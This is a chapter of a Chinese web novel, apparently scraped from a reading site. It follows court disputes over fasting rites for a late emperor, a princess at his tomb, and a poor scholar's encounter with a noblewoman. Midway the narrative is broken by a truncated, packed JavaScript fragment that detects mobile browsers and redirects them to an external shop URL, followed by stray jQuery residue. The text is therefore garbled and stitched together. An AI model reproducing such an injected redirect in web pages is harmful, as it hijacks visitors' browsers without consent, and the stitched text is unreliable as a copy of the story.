39. 第三十九章 觅闲

作品:《海棠破窗

    盛临三年,三月初一。


    宣政殿。


    “陛下,祀部郎中已备好祭祀大典相关时宜,陛下若要亲去,须提前斋戒七日,五品以上文武官员也需斋戒五日。”


    礼部尚书裴言溪上前开口,“还请陛下决断。”


    “自然是要亲去的。太后、太妃以及二位长公主也同去,除元臻长公主斋戒七日外,其余斋戒五日即可。”


    “这……陛下,太后娘娘斋戒五日……怕是不妥。”


    裴言溪声音微顿,“太后娘娘……是先帝……理应斋戒七日的。”


    沈修烛见状,立马上前挑火:“陛下,不若听听庆国公的意思。”


    薛明远闻言,笑容却是莫测:“这是陛下的家事,没有臣能置喙的地方,当然谨遵陛下旨意。”


    她薛明月。


    不是早就不认薛府了吗?


    只是陛下心里一直芥蒂着罢了。


    薛明远思忖着,抬头不动声色地扫了一眼沈修烛。


    对上薛明远的目光,沈修烛愈发得意:“陛下,看来,朝野上下也没有人有异议。臣也觉得,斋戒一事,本就该分个亲疏。昔日继体,本非元后,礼当降等……也不必……”


    “陛下,这……中书令所言,怕是不妥吧。”


    薛明远脸顿时黑了,“陛下,就如此让人把薛家,踩在脚下?”


    “舅舅莫气。”


    萧煦瞥见薛明远气得七窍生烟,却无计可施的模样,一时心里竟舒畅至极。


    言语却听不出一丝波澜:“沈卿许是近日觥筹交错,宴饮多了些,才一时失态。再者,朕日后也要称中书令一声国丈的,舅舅,您这个庆国公,可不许跟国丈急眼啊。”


    言毕,抚掌大笑。


    沈修烛趁热打铁:“那陛下,斋戒之事,就按裴尚书说的办?”


    “允。”


    萧煦抬了抬手,裴言溪如蒙大赦,立马行礼,匆匆回到自己位置上。


    “先帝祭祀大典定于三月十一,朕将率众人亲赴归陵。朕最重孝道,自然是要好好操办。”


    “陛下圣明!”


    众臣齐齐跪下行礼。


    看上去与往日并无什么不同。


    薛明远的眼神却愈发阴鸷。


    三月十一。


    “公主……今日是去祭祀大典的日子……您……您要穿什么样子的……衣服……”


    玉蘅似是被吓狠了,嗫嚅着,手里捧着那件红衣,“虽然……虽然陛下特意派人传话,说……说公主穿什么都可以,不会有人置喙……可是……可是公主,我……我担心他们又说你……”


    萧璃看着眼前带着哭腔的玉蘅,心里泛酸,伸出手揉了揉她的头发:“傻丫头,有哥哥在,谁敢欺负我啊?”


    这话萧璃自己都不信。


    玉蘅闻言眼睛亮了一瞬,声音依旧低落:“公主,您要是难过的话,可以告诉玉蘅的。”


    “今日我穿素服。”


    萧璃言语轻轻。


    “该尽女儿的本分的。”


    ……


    “玉蘅,凤仪宫那棵海棠树怎么样了。”


    萧璃身着素服,未施粉黛。


    相较平日,倒多了几分宁静平和。


    “公主这样很像……”


    玉蘅思索着。


    “像谁?”


    萧璃笑了。


    从来都是,她像谁。


    就好像无人在意,她是谁。


    “像……像太后娘娘!太后娘娘对别人总是淡淡的。前几日庆国公在朝上丢了好大一个脸,还让宁小姐入宫送信,娘娘肯定会见宁小姐的啊,不过,宁小姐自己半路上倒把信给丢了,还是太妃娘娘身边的越谷说的呢。”


    玉蘅见萧璃笑了,心里石头顿时落地,喋喋不休起来。


    “越谷?”


    萧璃眉心一跳。


    “朝中那日发生的事我知道,哥哥是要制衡薛家,那沈家发难也没什么。不过,越谷是如何知道宁姐姐把信给丢了呢?”


    “说是……太妃娘娘思念家人,时常让人送信。越谷那日去送信,正巧就看见宁小姐把信丢在路上了。越谷赶上去追,也没追到。”


    “后来呢?”


    萧璃言语急切起来。


    “后来,越谷知宁小姐进宫必然是见太后娘娘,就把信……送到了太后娘娘宫里去……莲枝姑姑亲自接的……后来听素心说,莲枝姑姑当场就把信丢到了火里。”


    “母妃也说过,她早就不是薛家人了。”


    想起上元那夜,萧璃轻叹。


    “马车该到了,走吧,别误了时辰。”


    “是。”


    ……


    马车浩浩荡荡,穿过长雍城的街道。


    有孩子好奇地打量着车队,人们纷纷避让,眼神里却带着些神往。


    “这皇家的车队,就是气派!”


    “娘……娘这是什么啊……”


    嘈杂声不绝于耳。


    车队渐渐远去。


    人群中,一男子望着远去的车队,面容似是神往。


    “这就是大雍的皇家车队啊……”


    这男子衣饰寻常,手上拿着一把折扇,俨然一副文人打扮。


    “今年科举……我必不负众望……”


    每思及此,容觅闲总觉得,自己定能大展宏图。


    “公子,这书画怎么卖?”


    一名女子上前,好奇地打量着眼前的书画:“这兰花画得极好,看公子这打扮,定是个清雅高洁的读书人,这兰花才画得如此有神韵。”


    “姑娘,这幅画确实是容某所画,姑娘若喜欢,看着给些就是了。”


    “那……五个铜板。可好?”


    “好,自然是好。能得姑娘赏识,容某荣幸之至。”


    “你看着倒像个有意思的。我打量你好久了,刚刚听见,你似是要参加科举?”


    “也不怕姑娘笑话……容某,家境贫寒,也只能勉强卖些字画,给茶馆打打杂度日罢了。”


    “竟是如此。”


    女子手里拿着一串糖葫芦,闻言微怔:“荣欢,让小厮再买一串糖葫芦吧。给这位公子。”


    “娘子……这……”


    荣欢犹豫片刻,对上沈嘉华不容置疑的眼神。


    “左右父亲去……不在家,就算在,也不会说我。”


    容觅闲哑然失笑。


    看来,这女子倒是非富即贵。


    不一会儿,小厮拿了一串糖葫芦过来。


    “公子,你的兰花画得如此之好,必然也擅长画桃花的,这样,这两银子作为定金,糖葫芦送与你,几日后,我会派人来你这里取桃花,可好?”


    容觅闲本想拒绝,对上她清亮的眼眸,内心狠狠一颤,不自觉点了点头:“好……多谢姑娘……不,小姐。”


    沈嘉华笑了笑,“萍水相逢,日后怕也没什么相见之时。希望这银子,能解公子燃眉之急,也希望公子能金榜题名。”


    “借小姐吉言。我……我叫,容觅闲。寻觅的觅,闲适的闲。”


    容觅闲手紧紧攥着糖葫芦。


    “是个好名字。荣欢,我们回去吧。”


    沈嘉华自是不必跟着去归陵的。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669113|188614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >几月后就是她的及笄礼,此刻,沈家上下,怕是没有几件事比这更重要。


    未来皇后的及笄礼,谁敢怠慢。


    “荣欢,你说,母亲会同意哥哥在及笄礼上给我赐字吗……总觉得很悬。母亲……是觉得对哥哥要严苛些,才好成器?”


    “依奴看,夫人定会同意的……娘子,您看这匹锦缎多好看啊……”


    二人说笑着,扬长而去。


    “竟是……连名字都不愿意给吗。”


    容觅闲看着糖葫芦,忽然手一松,糖葫芦落在了地上。


    “真是……可惜了。”


    片刻。


    糖葫芦又被捡了起来。


    “总是个心意,不能吃了,留着看看也好。”


    ……


    长雍城,云阳县,云陵。


    阳春三月,长雍城内春意盎然。


    云陵旁边,有一棵极大的海棠树。


    “这是父皇,还是皇兄的手笔?”


    海棠树似是刚刚绽放,绿叶居多,枝叶葳蕤中零星可见一些花朵,倒是别有一番风情。


    萧璃哑然失笑。


    这海棠树……


    不知又是哪一棵的替代。


    “这……当然是父皇。”


    萧煦清了清嗓子:“咱们别扰着母后。归陵就在不远处,众卿步行即可。”


    “母妃,我扶您。”


    萧璃看着薛明月静静走在自己后面,立马回头去扶薛明月。


    “璃儿,莫失了礼数,过来。太后娘娘那里自然有人照应。”


    萧煦声音阴鸷起来,“姨母,您说呢?”


    “璃儿孝顺,姨母……不用璃儿扶。”


    薛明月似是颓丧至极,在萧璃面前也自称起姨母来。


    “母妃您……罢了,皇兄,少说几句。”


    萧璃狠狠瞪了一眼萧煦,萧煦也不恼,眼神有意无意打量着薛明月:“姨母啊,到了这里,有些事倒也是看得清楚,无可辩驳了不是?”


    薛明月并未接话。


    萧煦心里愈发气恼。


    她一定是心虚!


    她不敢面对父皇母后!


    萧煦讨了个没趣,没有再开口。


    转而面向萧璃,低声耳语。


    “璃儿,你上次为那门客宁寒讨了差事,如今如何了?”


    萧煦不紧不慢地走着,脚步端正。


    “他?第二日留下了信,说是必不负我和陛下所望,拿了陛下给的金银,只带了我府上的卫晋走了。”


    “朕给他那些人,他没带?”


    萧煦眼中兴味愈发浓厚,“这人倒是有趣。”


    萧璃闻言,心口堵得慌。


    “不过是图个前程罢了,有趣什么。”


    自己替他谋差事,也不道谢,反而丢下一封信就离开。


    “好,那没有趣儿。璃儿,归陵到了。”


    言语间,众人已浩浩荡荡来到归陵。


    ……


    “父皇。”


    萧煦跪在墓前。


    萧璃迟疑了一下,与他并排跪着。


    薛明月面无表情地跪在二人身后。


    身后跪着萧珍和郑幽兰。


    其次才是大臣。


    “朕带着元臻长公主,还有东雍的大臣们,来祭拜雍文帝。”


    萧煦声音没有一丝波澜。


    “父皇,女儿和哥哥,还有母妃,来看父皇了。”


    萧璃言一出,萧煦再也抑制不住情绪,小声抽泣。


    却还是拭去了泪水。


    “您说过,皇帝的泪水最是无用。”